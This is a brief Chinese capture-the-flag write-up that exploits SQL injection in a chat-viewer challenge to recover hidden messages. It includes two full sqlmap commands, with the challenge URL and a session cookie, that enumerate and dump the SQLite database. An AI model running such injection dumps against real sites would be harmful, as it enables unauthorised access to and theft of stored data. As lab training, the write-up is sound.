上一题已经得到一个flag,还有一个flag
根据题目信息,说明还有一些聊天记录是没有公开的,另一个flag就在这些未公开的聊天记录中
下载题目附件看看,发现里面有个main.py:
可以看到有两条SQL查询语句,猜测应该需要利用SQL漏洞来获取flag
丢给AI分析一下:
/list 路由:显示所有已经被标记为可见(shown = true)的消息列表。
使用render_template函数渲染list.html模板文件,并将消息列表传递给模板,以便在前端页面上显示。
/view 路由
功能:此路由用于查看特定消息的详细信息。
通过request.args.get("conversation_id")从URL查询字符串中获取conversation_id参数,该参数应该是用户想要查看的消息的唯一标识符,将查询结果转换成一个Message对象,并将其传递给view.html模板进行渲染,以展示消息的具体内容
本来想手工注入的,但突然想起来可以用sqlmap:
python sqlmap.py -u "https://chal01-jjwftkqu.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=4deef159-85f8-4522-b796-4b681f406f3f" --cookie "session=eyJ0b2tlbiI6IjUzMTpNRVlDSVFESEw5ZHY2clBoWlhEN2tUcXNOUWhPQ01ka1NEbVE5bHdmV0NHbEpHWDlXd0loQUlSeWV2cmRrb0xuS2FIREJEblVDQURROVl0MFI2bmY1aXJtNWhRd0RUaUkifQ.ZzXy1Q.WpTGLGFc9VkFG-qmlzSOnqBjJag" --dbs
cookie值:
扫出来数据库名是SQLite
python sqlmap.py -u "https://chal01-jjwftkqu.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=4deef159-85f8-4522-b796-4b681f406f3f" --cookie "session=eyJ0b2tlbiI6IjUzMTpNRVlDSVFESEw5ZHY2clBoWlhEN2tUcXNOUWhPQ01ka1NEbVE5bHdmV0NHbEpHWDlXd0loQUlSeWV2cmRrb0xuS2FIREJEblVDQURROVl0MFI2bmY1aXJtNWhRd0RUaUkifQ.ZzXy1Q.WpTGLGFc9VkFG-qmlzSOnqBjJag" -D SQLite --dump
查询的过程中会发现一大堆字符串在浮动,看不过来,但没事,直接去对应的记录文件中查询关键字"flag":
可以看到,一下子找到两个flag了